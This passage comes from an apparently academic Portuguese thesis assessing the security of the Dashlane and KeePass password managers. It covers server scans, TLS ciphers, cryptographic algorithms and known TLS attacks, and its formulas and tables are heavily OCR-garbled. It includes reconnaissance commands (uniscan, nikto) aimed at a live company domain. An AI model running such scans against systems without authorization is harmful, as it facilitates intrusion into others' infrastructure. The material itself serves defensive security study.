Dashlane, para interacdao com um utilizador do seu site. Esta foi conseguida empregando trés
técnicas: OWASP ZAP, Securi?® e Uniscan®.

Visto que jd tinha sido identificada esta falha para o LastPass, inicialmente fez-se a investigacdo
recorrendo ao primeiro elemento do grupo. Este conseguiu facilmente elaborar uma lista dos
dominios possiveis, valendo-se do ficheiro sitemap.xml. Para além disto, foi evidenciado pelo
segundo membro (Securi) que, na realidade, era possivel atingir-se o objetivo pretendido. Nesta
solucdo web basta inserir o endereco alvo para que se possa praticar a analise. Por fim, foi
também feita uma pesquisa da vulnerabilidade por via Uniscan. Este método permite a
enumeracdo dos locais administrados pela Dashlane, servindo-se do comando:

uniscan -u <URL> -e

A opcado -u indica o URL a ser explorado, e a -e a verificacao de sitemap.xml e robots.txt (que é
onde se quer chegar).

Tal como ja foi dito anteriormente, o catdalogo em causa é essencial e, por isso, ndo deve estar
disponivel a qualquer pessoa/entidade pois podem ser executados testes (ou até mesmo
ataques) aos diversos lugares existentes.

5.2.2.3 Restantes Descobertas LastPass

Para além das adversidades enunciadas, ndo existem mais falhas comuns aos dois programas.
Por conseguinte, e de modo a entender-se este facto, serdo dadas as devidas justificagdes para
tal ocorréncia.

O procedimento em questdo nao implementa qualquer forma de recuperacdo de acesso. Isto
implica que um cliente registe (papel, por exemplo) ou memorize a sua palavra-chave mestra
de inicio de sessdo. De outra maneira, ficard sem entrar na sua conta, e sera obrigado a criar
uma nova (Dashlane 2012). Por outro lado, é dificil conseguir a senha de (des)encriptacdo, pois
esta s6 pode ser obtida pela sua dedugdo ou pelo conteldo dos ficheiros encriptados. Para se
depreender tal recurso é necessario conhecer os nimeros empregues na sua geragao, e para a
visualizagao dos documentos codificados é preciso saber o vetor e o segredo usados. Ora, dado

2 Fonte: https://sitecheck.sucuri.net// (junho 2016)
30 Fonte: http://tools.kali.org/web-applications/uniscan (junho 2016)
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que ambas as praticas implicam valores aleatérios, a descoberta daquela torna-se
extremamente complexa (Dashlane 2016b). Além disso, a empresa recorre a seguranca
oferecida pela Amazon (AWS??) para a monitorizacdo e controlo da atividade na rede. Visto que
o que é fornecido por organizacdo é altamente evoluido (filtragem de portos e servigos), ndo é
preciso sequer bloquear os utilizadores maliciosos (Dashlane 2012).

Finalmente, e como ja explicado, o software nao é vulneravel, por omissdo, a ataques de
phishing, devido a introducdo de credenciais automatica. Todavia, ndo é impossivel que,
pessoas mais desatentas, sejam encaminhadas para sitios mais duvidosos (utilizando, por
exemplo, o Cobalt Strike).

5.2.2.4 Outras Provas ao Servidor Dashlane

Apds se perceber que todos os testes feitos ao LastPass ja tinham sido aplicados, passou-se a
exploragdo propria de problemas. Ora, nesta fase, tais exames poderiam incidir nas trés partes
referidas (cliente, servidor e canal).

Do lado da aplicagdo, o mais importante ja tinha sido validado (ficheiros guardados na
maquina), ndo havendo mais nada de relevante a ser interiorizado. Assim, procedeu-se a
pesquisa de falhas na parte remota. Para esta pratica, existem inimeros métodos (locais e
baseados na web), onde se destaca o Nikto. Este foi visto como um programa acessivel (uma
vez que esta integrado no Kali, de origem) e bastante eficaz (Al-Saleem 2015).

Uma verificagdo feita a partir daquele pode ser customizada e assumir um carater mais simples
ou complexo, dependendo do resultado pretendido. De forma a ser executada uma prova mais
aprofundada, foi usado um comando do género:

nikto -output=<ficheiro_de_saida> -host <dominio>

Ha que salientar que a opg¢do -output permite a escolha da localizagcdo do que vai ser gerado
(habitualmente HTML), e a -host especifica o endereco alvo (para o caso em questdo seria
https://www.dashlane.com).

Apds a producdo do ficheiro final, podde-se constatar que ndo havia ameacas relevantes a serem
assinaladas. Porém, nunca é demais ressalvar exercicios e precaugdes, que visam melhorar o
estado do sistema. Em seguida serdo enunciados alguns exemplos:

e Cookies criadas sem opgOes secure e httponly — Foi observado que os recursos
webanonid e anonid (usados em vérios dominios) ndo tém configurado as flags de
seguranca descritas. Basicamente, a primeira garante que a cookie sé é transmitida via
HTTPS (de maneira resguardada), ja a segunda proporciona que aquela ndo seja acedida
pela aplicagdo cliente. Apesar de se realgar tal assunto, a ultima configuragdao nem

31 Fonte: https://aws.amazon.com/pt/ (junho 2016)
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sempre é pretendida, pois pode resultar em varias restricdes. Contudo, ambas devem
ser usadas sempre que possivel (Cahn et al. 2016; Dacosta et al. 2012);

e Documentacdo de tecnologias — Foram encontrados alguns ficheiros que dizem
respeito a técnicas adotadas pelo Dashlane. Mais especificamente, registos Oracle3? e
HP33;

e Cabecalho HTTP nao definido — Geralmente, e para prevenir ataques do tipo XSS, sao
usados mecanismos de prevenc¢do. Um deles é o header x-xss-protection, que facilita
ao navegador filtrar o que é submetido. Note-se que esta opc¢ao ja estd ativa na maioria
dos browsers, podendo, todavia, ser excluida pelo utilizador (Mtsweni 2015).

Para além do exame anterior, foram utilizadas as ferramentas OWASP ZAP (como ja foi
referido), w3af** e Skipfish® para verificar o estado do servidor. Visto que estas obtiveram
resultados muito semelhantes, que ndo proporcionam muito impacto no programa, sao
apresentadas em conjunto.

Ao serem usados tais mecanismos, detetou-se que havia pdginas com cddigos de terceiros. Isto
deve-se, para a maioria das situacdes, por serem aplicadas técnicas de seguranca (VeraSafe®)
e estatisticas (Optimizely®’).

Pode-se ainda perceber que os cabecalhos cache-control, pragma e x-content-type-options
(opcdo nosniff) ndo sdo definidos em alguns locais. Os primeiros dois sdo utilizados para fazer a
administracdo da cache do lado do cliente, para que os dados ndo sejam guardados (Fielding &
Reschke 2014). O outro garante que, o que é indicado no header content-type, coincide com o
tipo real da informagdo (Hothersall-Thomas, Maffeis & Novakovic 2015).

Foi possivel também deduzir que existem ficheiros ocultos. Estes estdo construidos usando a
linguagem JavaScript, dizem respeito a configuragdo e disposicao dos elementos nos diversos
dominios e estdo localizados (por omissdo) no dominio /js/concat/.

Finalmente, ha que realgar que, apesar de se ter efetuado um exame utilizado o software
Wapiti*®, ndo se conseguiram descortinar mais ameacas, uma vez que nenhuma foi reconhecida
por este.

32 Fonte: https://www.oracle.com/pt/index.html (junho 2016)

33 Fonte: http://www8.hp.com/pt/pt/home.html (junho 2016)

34 Fonte: http://w3af.org/ (junho 2016)

35 Fonte: http://tools.kali.org/web-applications/skipfish (junho 2016)
36 Fonte: http://www.verasafe.com/ (junho 2016)

37 Fonte: https://www.optimizely.com/ (junho 2016)

38 Fonte: http://wapiti.sourceforge.net/ (junho 2016)
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Canal

Apds terminar de explorar as falhas existentes nos servidores, passou-se a investigar os detalhes

do canal aplicado. Portanto, os protocolos de salvaguarda de comunica¢es (SSL/TLS) e a

biblioteca OpenSSL tornaram-se o foco principal de operagdo. De modo a averiguar tais

elementos foram empregues diversos recursos. Entre estes, destaca-se o Nessus®®, que é uma

aplicacdo local (de razodvel complexidade) que permite analisar sitios web de diferentes

formas.

A selecdo feita deve ter em conta quer as necessidades do utilizador, quer as condi¢Ges

do sistema em causa. Para o caso, pretendia-se uma inspecao aprofundada, pelo que foi

escolhida uma abordagem avancada. Portanto, conseguiu-se atingir algo bastante detalhado,

com resultados que, apesar de ndo serem muito criticos, sdo relevantes:

Constatou-se que os portos 80 (HTTP), 443 (HTTPS) e 1720 (H.323) se encontravam
abertos. Os dois primeiros sdo vulgarmente observdveis, agora o terceiro, ndo. Este
ultimo é utilizado normalmente para teleconferéncias, e ndo deve estar desprotegido
(AliAkbar et al. 2015; Mazhar & Rathore 2015);

Percebeu-se que sdo suportadas (pelo servidor) as edi¢es 1.0, 1.1 e 1.2 do protocolo
TLS, e que, por outro lado, nenhuma das versdes SSL é apoiada;

Foram obtidos dados relativos ao certificado usado pela empresa. Soube-se assim
informacbes sobre o seu tipo (Symantec Class 3 EV SSL CA - G3), validade (6 de
novembro de 2017), os seus fingerprints, etc. Os ultimos ndo sdo mais do que uma
sequéncia de bytes, gerados por uma funcdo de hashing, que identificam uma dada
chave publica (Delfs & Knebl 2015; Ram et al. 2015). Ora, para o método em causa, este
elemento é produzido recorrendo a trés algoritmos: MD5 (Message-Digest Algorithm
5), SHA-1 e SHA-256;

Souberam-se as cifras de encriptacdo que s3o negociadas pelo browser, para que se
consiga estabelecer uma comunicagdo estavel com os sistemas remotos. Estas sdo
identificadas na Tabela 5.

Tabela 5 — Cifras TLS permitidas para comunica¢do com o Dashlane

Versdao Cifras Trocade  Autenticagdo Método de Formulagdo do
TLS chaves encriptagao MAC
simétrica
1.0 ECDHE-RSA- ECDH RSA AES-CBC (128) SHA-1
AES128-SHA
ECDHE-RSA- ECDH RSA AES-CBC (256) SHA-1
AES256-SHA
DES-CBC3-SHA RSA RSA 3DES-CBC (168) SHA-1
AES128-SHA RSA RSA AES-CBC (128) SHA-1
39 Fonte: https://www.tenable.com/products/nessus-vulnerability-scanner (junho 2016)
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1.1

1.2

AES256-SHA

ECDHE-RSA-
AES128-SHA

ECDHE-RSA-
AES256-SHA

DES-CBC3-SHA
AES128-SHA
AES256-SHA

ECDHE-RSA-
AES128-SHA

ECDHE-RSA-
AES256-SHA
DES-CBC3-SHA
AES128-SHA
AES256-SHA

ECDHE-RSA-
AES128-
SHA256

ECDHE-RSA-
AES256-
SHA384

RSA-AES128-
SHA256

RSA-AES256-
SHA256

ECDHE-RSA-
AES128-
SHA256
ECDHE-RSA-
AES256-
SHA384
RSA-AES128-
SHA256

RSA-AES256-
SHA384

RSA
ECDH

ECDH

RSA
RSA
RSA
ECDH

ECDH

RSA
RSA
RSA
ECDH

ECDH

RSA

RSA

ECDH

ECDH

RSA

RSA

RSA
RSA

RSA

RSA
RSA
RSA
RSA

RSA

RSA
RSA
RSA
RSA

RSA

RSA

RSA

RSA

RSA

RSA

RSA

AES-CBC (256)
AES-CBC (128)

AES-CBC (256)

3DES-CBC (168)
AES-CBC (128)
AES-CBC (256)
AES-CBC (128)

AES-CBC (256)

3DES-CBC (168)
AES-CBC (128)
AES-CBC (256)
AES-CBC (128)

AES-CBC (256)

AES-CBC (128)

AES-CBC (256)

AES-GCM (128)

AES-GCM (256)

AES-GCM (128)

AES-GCM (256)

SHA-1
SHA-1

SHA-1

SHA-1
SHA-1
SHA-1
SHA-1

SHA-1

SHA-1
SHA-1
SHA-1
SHA-256

SHA-384

SHA-256

SHA-256

SHA-256

SHA-384

SHA-256

SHA-384

Como se pode verificar, existe um grande numero de alternativas, sendo que estas variam
consoante quatro tipos de mecanismos: troca de chaves, autenticacao, encriptacdo simétrica e

producao do MAC.

Para que haja um acordo entre as entidades envolvidas numa ligacdo, é necessdria uma
permuta de senhas, sendo aplicados esquemas especificos. O Dashlane usa dois: RSA e o
protocolo de Diffie-Hellman de curva elitica (ou ECDH).
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O primeiro obteve o seu nome devido aos seus autores (Rivest, Shamir e Adleman), e baseia-se
na criptografia assimétrica. Sabendo isto, é fundamental a geracdao de um segredo privado e
publico (Rani & Mittal 2015). Para explicar a formagdo do RSA, é disponibilizada a Figura 12.

5

Escolher dois
nimeros primos (P e

Hg

Calcular: N =PxQ

;

Resaolver:
o(N) = (P1)x(Q-1)

]

SColner um numero
E. em que E esteja
entre 1e p(N), e que
seja co primo de iV

:

Calcular D, em que:
(D xEymod g(N) =1

-

(Des)Encriptar

o

Figura 12 — Diagrama de atividade para RSA (Chang, Yao & Yu 2015; Lin et al. 2014; Rani & Mittal 2015)

Como se comprova na ilustracdo, selecionam-se inicialmente dois numeros primos
(normalmente, de grande dimensdo em termos de nimero de digitos). Estes sdo os pilares do
algoritmo, uma vez que este foi desenvolvido sobre a opinido que é facil atingir o produto de
dois valores, porém é extremamente dificil fatorizar o seu resultado. Posteriormente, os dois
elementos enunciados sdo Uteis para calcular N (que representard uma fragdo de ambas as
chaves pretendidas) e ¢(N). Em seguida, escolhe-se um valor E (entre 1 e ¢(N)), que seja
inteiro e co primo de N. Ora, um numero é co primo de outro se o Unico divisor comum entre
eles for 1. Obtendo E, é possivel inferir D por meio do resto de uma divisdo (mod). Apds esta
fase, sdo gerados os cddigos desejados na sua totalidade, sendo que o segredo publico é
constituido pelo par (E, N) e o privado é composto por (D, N). Com estes recursos, torna-se
simples a pratica da (des)codificacdo dos dados (Chang, Yao & Yu 2015; Lin et al. 2014; Rani &
Mittal 2015), onde sdo aplicadas as formulas:

Mensagem =Mensagem“mod N (2)

encriptada

Mensagem = Mensagem ®mod N (3)

encriptada
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Como se pode constatar, existem variaveis que ndo foram descritas (MensageMencriptada ©
Mensagem). Ambas representam o que é comunicado (sob a forma de um numero). Assim
guando se quer transmitir a palavra old, transforma-se o valor em, por exemplo, 123 (o =1, | =
2 e 4=3). Ha que ter em conta que, quer o emissor, quer o recetor, devem saber a terminologia
implementada.

Ja 0 ECDH tem como pilares o algoritmo de Diffie-Hellman e a criptografia de curva elitica. Visto
isto, é primordial demonstrar como é que estes conceitos sdo conjugados. Resumidamente, o
primeiro elemento anunciado baseia-se no resto da divisdo de inteiros (Kumari & Damodaram
2014; Subramaniam & Parakh 2014). Para que seja facilmente percetivel como é que tal atua,
vai ser descriminado o seu funcionamento.

Supondo que duas pessoas (Rui e Maria) querem trocar algo confidencial entre elas, irdo
precisar de dois valores inteiros (A e B), partilhados. Para além disso, cada um deve estabelecer
um numero aleatério (C e D) privado. Usando o que foi narrado, calcula-se:

E = A® mod B (Rui) (4)

F =AP mod B (Maria) (5)

, onde o resultado da operacdo mod expressa o resto da divisdo. Posteriormente, cada
individuo distribui o que foi produzido do seu lado (o Rui envia E para a Maria, e esta F para
ele), de maneira a que o outro consiga atingir um valor G, que é dado por:

G =F° mod B (Rui) (6)

G=E® mod B (Maria) (7)

Como se pode averiguar, mais uma vez mod serd o resto de uma divisdo e o elemento final,
igual para as duas partes, contém a mensagem que se pretende transmitir. Hd ainda que
salientar que, se houvesse um individuo, no meio da comunica¢do, que quisesse tentar
descobrir o segredo final, ndo iria ser capaz de adquirir qualquer informagdo passada pois ndo
saberia as chaves particulares do Rui e da Maria (Kumari & Damodaram 2014; Subramaniam &
Parakh 2014).

A adicionar ao que foi explicado, surge a criptografia de curva elitica. Esta traduz-se de um modo
distinto ao que se passa com o estilo tradicional daquela pratica. No método em causa, recorre-
se a equacdes do género:
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y?=x>+ax+b (8)

,onde a e b pertencem ao conjunto de nimeros complexos, reais, racionais e finitos. Este tipo
de formulas obtém formas como na Figura 13 (Boruah & Saikia 2014; Panchbhai 2015).

Y

A
3
2
1
-~
Y
1
2
3

Figura 13 — Grafico representativo de duas curvas eliticas (Batra & Bhatnaga 2016)

Normalmente, associa-se a opera¢do de adicdo e multiplicacdo de pontos ao exercicio em
questdo. Estes sdo os procedimentos mais comuns para aquele, e sdo apresentados nos graficos
da Figura 14 e Figura 15, respetivamente.

Figura 14 — Adicdo de pontos numa curva elitica  Figura 15 — Multiplicagdo de pontos numa curva
(Zode & Deshmukh 2014) elitica (Zode & Deshmukh 2014)

Tendo em conta que o que foi mostrado, na esquerda encontra-se um desenho para o processo
de adicdo e a direita o produto. Ora, para executar o primeiro calculo, é tracada uma reta que
ligue dois pontos (selecionados numa equacdo escolhida), e uma outra, perpendicular ao eixo
horizontal, que passe na marca onde a linha anterior toca no gréfico. O resultado da operacgado
é determinado quando se deduz onde é que a Ultima interseta a forma esbocada. No exemplo,
P 4+ Q = R. Por outro lado, para a multiplicagdo (ou point doubling), projeta-se uma reta
tangente a um ponto P, verifica-se aonde é que esta se encontra com o esquema proposto e,
finalmente, espelha-se tal posicdo, considerando o eixo X. Assim, entende-se que R = 2 X P,
para o que foi indicado (Boruah & Saikia 2014; Panchbhai 2015; Zode & Deshmukh 2014).
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Agregando o que foi dito com o conceito de troca Diffie-Hellman, foi construido o ECDH. Ou
seja, foi concebida uma representacao do algoritmo, recorrendo um conjunto de coordenadas
(denominado base point ou generator point) e um nimero inteiro (que serd a chave privada).
A partir daqui, computa-se o produto dos dois elementos anteriores, podendo a solugdo ser
divulgada para comunicagdo de segredos (Zhang et al. 2015b).

Na Tabela 5 também sdo referenciados mecanismos de autenticacdo (RSA), formulagdo de
codigos MAC (SHA com tamanhos de senhas diferentes) e encriptagdo simétrica. Para esta
ultima situacdo surge uma nova noc¢do (3DES, ou Triple Data Encryption Standard).
Sucintamente, esta passa pela aplicagdo da técnica antecessora a AES (DES, ou Data Encryption
Standard) multiplas vezes. As duas sao muito semelhantes, e, por isso, torna-se essencial
explicar o modo de funcionamento basico, o DES, (Figura 16) e, posteriormente, o mais
avancado, o 3DES (Bhat, Ali & Gupta 2015).

DES

Submddulo de
Substituigao *
Inicial

l

Submadulos
Intermédios

Submadulo de
Substituicdo
Final

Cifra

Figura 16 — Diagrama de blocos para DES (M & Rajan 2015; Patil et al. 2016)

Como é percetivel, para o DES, os dados (64 bits) sdo inseridos num sistema onde sdo
submetidos a diversas substituicdes e alteracdes (feitas a partir de um maddulo), produzindo a
cifra desejada. Dentro da sub-rotina, sdo executadas varias rondas (16), usando uma por¢do do
segredo (48 bits) misturado para atingir o resultado final. Em cada uma destas, ocorre uma
permuta, uma separag¢do, uma concatenacdo e uma opera¢dao XOR (M & Rajan 2015; Patil et
al. 2016; Zhang et al. 2015a). Ora, percebendo como se processa DES, pode-se entender que
3DES passa por utilizar aquela em trés ocasides, originando assim, o mesmo nimero de chaves
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(formando um total de 192 bits). A primeira e a terceira, sdo Uteis para a encripta¢do, enquanto
a outra é empregue para o inverso.

Ainda no ambito da codificacdo simétrica, surge o modo GCM (Galois/Counter Mode) em
conjunto com AES. Este diverge dos anteriormente mencionados (ECB e CBC) e, por essa razao,
€ de maior importancia expor como trabalha. Por isso, em seguida, é introduzida a Figura 17
gue o pretende exibe.

E=
Encriptar(coniador, [V)

[contadar > 0]

Cifra, = E, XOR
Texto

[contador = 1]

A= mult,(dados

adicionais) Sim

No
)

{ B=Cifra, XOR A ] {B:Cffra), XORAW]

€ = comprimento(cifra) |
Asznt = mulfil B) [contador= N Si comprimento(dados
adicionais)
WET
4@

GMAC = E XOR E,o

Figura 17 — Diagrama de atividade para GCM

Contrariamente com o que acontece nos métodos apresentados previamente, o que esta
disposto acima, introduz um contador. Este facto confere-lhe o titulo de metodologia CTR
(Counter Mode), onde é estabelecido um numero sequencial para cada etapa do processo de
transformacgdo dos dados. Aquele, por sua vez, serd encriptado (neste caso por AES) e,
posteriormente, agregado a informacdo fornecida. Neste passo, ha que ressalvar a utilizacdo de
um vetor inicial IV (gerado aleatoriamente para cada fase) e a produ¢do de um resultado, ao
qual é sugerido o nome E), (Durad, Khan & Ahmad 2015).

Para além do que foi enunciado, o GCM distingue-se dos demais pela oferta de caracteristicas
extras. Este concretiza também a adi¢cdo de dados complementares, bem como a autenticacdo.
O primeiro fator é garantido pela incorporagao de informacdo auxiliar, que se altera para
bindrio, sendo depois convertido ainda para uma fungdo polinomial (supondo que se atuava
sobre 1011, obter-se-ia x3 + x + 1). Esta, em contrapartida, serd multiplicada (mult,) por
outra, construida por h (ou Ey). Por outro lado, na ultima iteragdo (apds a execugdo de um
numero inteiro e finito de vezes), é gerado o cddigo pretendido GMAC (Galois MAC), que
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disponibiliza a discutida autenticacdo (Durad, Khan & Ahmad 2015; Mattsson & Westerlund
2016). Note-se ainda que Cifra, indica a cifra atual, e A,;,; corresponde a um valor que vem
da iteracdo anterior.

Para terminar, ha que informar que as cifras preferidas pelo Dashlane se encontram destacadas
a sublinhado na Tabela 5 (tendo em conta as analises SSLScan“® e SSLyze*!) e que os mecanismos
usados pela versao 1.0 e seguinte, sdo os mesmos.

HTTP Strict Transport Security (ou HSTS) é uma medida de prevencdo que tenta garantir a
seguranca entre um servidor e um navegador web, e que nao é efetivado pelo programa. Tal é
indicado no cabecalho de resposta HTTP, podendo aquele configurar as op¢des max-age e
includeSubDomains. A primeira indica o tempo (em segundos) de utilizacdo de HTTPS, enquanto
a segunda é definida quando se pretende que a técnica em questdo seja implementada nos
subdominios (Garber 2013; Selvi 2014).

Todos os tdpicos assinalados tém a sua relevancia, tornando-se importantes para a
compreensao do funcionamento do software. Porém isto ndo é suficiente para comprometer o
canal. Sendo assim, foram feitas outras pesquisas. Uma das mais significativas foi feita a partir
da ferramenta Qualys SSL Labs. Com esta, comprovou-se que a aplicacdo ndo é vulneravel a um
conjunto de ataques. Mais especificamente, o Dashlane encontra-se protegido contra
downgrading, DROWN, POODLE, Heartbleed e Bar Mitzvah.

O primeiro tenciona atingir diversos protocolos de rede (entre eles, de salvaguarda), e faz com
que as suas versdes possam regredir para uma anterior, de forma a realizar uma invasdo. Como
forma de precaucdo, a empresa estudada aplica SCSV (Signaling Cipher Suite Value), o que
permite validar se o cliente que estd a experimentar ligar-se a um sistema remoto ja o tentou
fazer usando a revisdo TLS precedente (Dashlane 2016b; Moeller & Langley 2015).

Por outro lado, DROWN (Decrypting RSA with Obsolete and Weakened Encryption) proporciona
a fuga de informacdo quando se comunica com uma maquina que suporta a segunda versao
SSL (Aviram et al. 2016). Para que tal ndo acontega, assim como é praticado pelo Dashlane,
deve-se desabilitar a edicdo discutida, como é sugerido no site principal do ataque (Aviram et
al. 2016; DROWN Attack 2016).

POODLE (Padding Oracle On Downgraded Legacy Encryption) é um exercicio que tem impacto
no mesmo procedimento que o DROWN (Moller, Duong & Kotowicz 2014). Para a concretizagdo
da invasdo em causa é primordial escutar uma comunica¢do e modificar uma por¢do do que é
transmitido (ataque man-in-the-middle). Quando a entidade recetora aceita o pacote enviado
pelo individuo malicioso, este ultimo pode conseguir descodificar byte a byte da mensagem
encriptada, até conseguir o contelido desta na sua totalidade (Fogel 2015). Ha que salientar
que o programa nao dispde de SSL 3.0 (tal como foi assumido pelo Nessus) e, para além disso,

40 Fonte: https://github.com/rbsec/sslscan (junho 2016)
41 Fonte: http://tools.kali.org/information-gathering/sslyze (junho 2016)
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implementa o mecanismo SCSV, para que nao haja possibilidade de execu¢do de downgrading
(Dashlane 2016b).

Outra ameaca, conhecida como Heartbleed, baseia-se na utilizacdo da biblioteca OpenSSL e é
tratada pelo Dashlane (Dashlane 2012). Esta usa uma técnica que garante ao servidor que um
utilizador continua ligado, recorrendo a uma troca peridédica de informag¢dao, denominada
heartbeat. Quando esta é passada, transporta (entre outros) dois pardmetros: os dados e o seu
comprimento. Ora, quando estes elementos sdo recebidos, é enviada uma resposta com a
mesma dimensdao que do que foi obtido. Assim, se alguém passar 1 kilobyte e afirmar que
expediu 64 kilobytes, ird adquirir o ultimo valor referenciado (ou seja, o retorno mais 63
kilobytes que estdo na memdria). Visto isto, conclui-se que o OpenSSL nado valida se os fatores
mencionados coincidem (Ghafoor et al. 2014; Sigholm & Larsson 2014).

Como exemplo final, surge o problema Bar Mitzvah. Este aproveita-se das fragilidades que estao
presentes na cifra RC4 (Rivest Cipher 4), para conseguir segredos dos utilizadores (Extreme
Networks 2015). Por isso, torna-se fundamental descrever como é que se processa tal método.

O RC4 é simples, todavia muito poderosa. Este funde o que se pretende ocultar com uma
determinada grandeza, gerada pelo algoritmo. Em baixo é apresentada a Figura 18, que ilustra
como é que aquele atua.

A = KSA(chave)

1

B = PRGA(A)

S

Cifra = dados XOR B

S

O

Figura 18 — Diagrama de atividade para RC4 (Garman, Paterson & Van der Merwe 2015; Sarkar et al.
2015)

Resumidamente, uma chave (40-256 bits) é submetida a duas fases distintas: KSA (Key-
Scheduling Algorithm) e PRGA (Pseudo-Random Generation Algorithm). Na primeira, é
executada uma permuta de posi¢cdes no vetor de dados, enquanto na segunda sao calculados
dois valores, para que haja substituicdo de lugares na informacéo e, finalmente, sdo impressos
os bytes finais. Por fim, a solugdo da operagdo anterior é conjugada com o que se encontra
encriptado, por via de uma operacdao XOR, produzindo-se desta maneira o resultado final, que
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se encarrega de certificar que o contelddo de uma mensagem permanecga secreto (Garman,
Paterson & Van der Merwe 2015; Sarkar et al. 2015).

Pelo que é enunciado pela investigacdo conduzida, a metodologia proposta por Ronald Rivest
nado é usada pelo programa em questdo. Assim, este ndo se torna vulneravel a ataques Bar
Mitzvah. Além disso, o Dashlane também se encontra protegido contra falhas FREAK (Factoring
RSA Export Keys) ou Logjam, tal como se pode constatar a partir das andlises Keycdn® e
Nagios*, respetivamente (Halderman & Teague 2015).

5.2.3 Conclusodes da Analise ao Dashlane

Como notas finais, constata-se que o Dashlane aplica uma arquitetura que nao é, de todo,
habitual nos restantes gestores. Este facto garante-lhe uma forma mais consistente que os
demais. Conclui-se também que a informacao referente a tecnologia estudada ndo se encontra
disponibilizada em grande escala na Internet e, para além disso, as criticas feitas aquela sao
idénticas em todas as fontes, sendo predominantemente existentes em sites, e ndo em artigos.
Ora, isto pode ser entendido como uma medida de prevencdo, que garante uma seguranca
maior do sistema (devido ao que foi citado). Todavia, ao ndo haver dados variados sobre o
mecanismo, pode conduzir a sua rejeicao.

No geral, comprova-se que o programa em causa é excelente, e que ndo contém grandes falhas.
Isto foi comprovado depois de efetuados varios testes, que exploraram os ficheiros locais, o
servidor e o canal. Tornou-se, portanto, evidente que os elementos guardados nas maquinas
sdo inacessiveis para um simples utilizador, uma vez que a informagao se encontra num formato
ilegivel para este, necessitando de uma outra de carater especial (de maior poténcia), para que
seja possivel visualizar o conteldo dos documentos.

Para além disso, apurou-se que o servidor era protegido por recursos Amazon (o que lhe
garantia uma defesa refor¢ada), e que o canal de transmissdo de dados ndo era suscetivel a
qualguer ameaca referente ao protocolo utilizado (TLS).

Tendo em conta todo o estudo efetuado, s mesmo uma pessoa com pouca experiéncia
perderia o controlo da sua conta. Assim, assume-se que existe uma solugdo consistente para a
salvaguarda das palavras-chave.

5.3 KeePass

Por fim, é apresentado o KeePass como um ultimo exemplo de gestor de palavras-chave.
Langcado em 2003 por Dominik Reichl, este é gratuito e de cddigo aberto ao publico, ou seja,
pode ser estudado, modificado e distribuido (Haugum & Rygh 2015; KeePass 2003b; Whitt

42 Fonte: https://www.keycdn.com/ (junho 2016)
43 Fonte: https://www.nagios.org/ (junho 2016)
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2015). A solugdo em questao €, originalmente, local e oferece tipos de abordagem distintos (1.x
e 2.x). Assim, além de terem em comum a possibilidade de geracdo de segredos adequados,
monitoriza¢do de periodos relevantes (de criagdo, validade e ultimo acesso), importagdo e
exportacdo de informagdo para varios formatos, diferem nas funcionalidades que sdo
suportadas (de segurancga, portabilidade, gestdo de credenciais, etc.) e nas tecnologias base
(GDI+** e framework .NET*). H4 que destacar, que apesar da segunda vers3o da aplicacdo
ocupar mais memoria, implementa uma maior quantidade de opgGes (KeePass 2003a; KeePass
2003b).

Para que tudo o que foi enunciado funcione da melhor maneira, é adotada uma arquitetura
bastante especifica, que serd explicada e aprofundada, para se conhecer o seu modo de
processamento.

5.3.1 Modelo de Funcionamento

Ainda que o KeePass ndo seja baseado na web por omissdo, assemelha-se ao LastPass, ao
utilizar uma senha mestra (e por vezes, um ficheiro) para proceder a autenticac¢do e salvaguarda
da informacdo. Esta é guardada numa base de dados local (KeePass 2003c). Para que este
repositério obtenha um carater secreto, recorre-se preferencialmente a AES (modo CBC), que
implica o habitual vetor inicial (de 128 bits) e um cdodigo (de 256 bits). O primeiro advém, tal
como todos os elementos gerados a sorte no programa, de um CSPRNG (ou Cryptographically
Secure Pseudo-Random Number Generator). Este tipo de mecanismo permite garantir a
producdo de um numero aleatdrio e seguro (Campbell 2015; Costan & Devadas 2016; KeePass
2003c). Por outro lado, a segunda unidade advém da denominada chave do utilizador,
constituida por um valor (e/ou ficheiro). Este é formulado a partir de um conjunto de passos,
comegando-se por conceber uma combinag¢do Unica. Para a construcdo desta, recolhe-se a
senha principal, e submete-se esta a SHA-256, AES (por definicdo 6000 vezes, mas ajustavel) e,
novamente, ao algoritmo inicial. Este é repetido para as férmulas posteriores (KeePass 2003c).

Rondag,, ficneiro = SHA256 (Re s, , Salt) (9)
Ronda,,, ficheiros = SHA256 (SHA256 (Re s, ), €ONt (i eiro) (10)
Ronda,,,, ficneiror = SHA256 (SHA256 (Re s, ), SHA256 (cont o)) (11)

Entenda-se por Rondagem ficheiro @ €quagdo a ser utilizada quando s6 € aplicado um segredo
(contrariamente aRondacom ficheiro)) St um numero aleatério de 128 bits, ReSqn; O
resultado das fases prévias, e contgicpeiro 0 conteudo do ficheiro auxiliar. Ha que salientar que

44 Fonte: https://msdn.microsoft.com/en-us/library/windows/desktop/ms533798(v=vs.85).aspx (junho
2016)
4 Fonte: https://www.microsoft.com/net (junho 2016)
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a diferenga entre as duas Ultimas operagdes esta interligada com o comprimento dos dados
contidos no documento mencionado (se for 256 bits emprega-se a segunda, sendo a ultima).

Para além do AES, caso seja instalada a variante 1.x da aplicacdo, poder-se-a optar também por
usar uma encriptacdo Twofish. Esta técnica adota um carater flexivel e estavel, de forma a
tornar o texto de entrada numa cifra (Kumar 2015). Na Figura 19 é exibida uma vista geral do
processamento a ser feito.

iR, Ry, Rz, Rzt= TCXORC

[ronda iricia]

s Fung3o G{Ra) ] [ B°= Funglo GiA) ] 3 Fungio G(R} ] [ B'= Funglo G{A) ]

L

[ D= FHT(E, B) ].—
[ E=Care+Ds ] [ E=Gyeg + D2 ]_{F=RE{D.~.9M.$ ] [F’=RE{R;.1M} ]
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fronds final]
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Figura 19 — Diagrama de atividade para Twofish (Schneier et al. 1998)

Na imagem disposta, pode-se observar que tudo comeca por uma operacao XOR (whitening).
Assim, recorre-se aquilo que se quer converter em cddigo (TC, que referencia texto claro de
128 bits) e a uma parte de uma senha global (C, de tamanho igual a TC). Neste calculo, ambos
os elementos sdo divididos em quatro sec¢des, originando um mesmo numero de fragdes
(Rg, Ry, R, e R3), todas com 128 bits (Gehlot, Biradar & Singh 2013; Schneier et al. 1998). R, e
R,, entram, depois, num sistema denominado fungdo F (devendo-se o nome a rede/cifra de
Feistel). Tendo isto em conta, os dados sdo partidos e submetidos a um conjunto de iteracées
(neste caso, 12 ou 16), e é provocado um efeito de difusdo (desfecho depende da entrada) e
confusdo (cifra gerada ndo deve ser facilmente deduzivel). Na situagdo em questdo, R, é
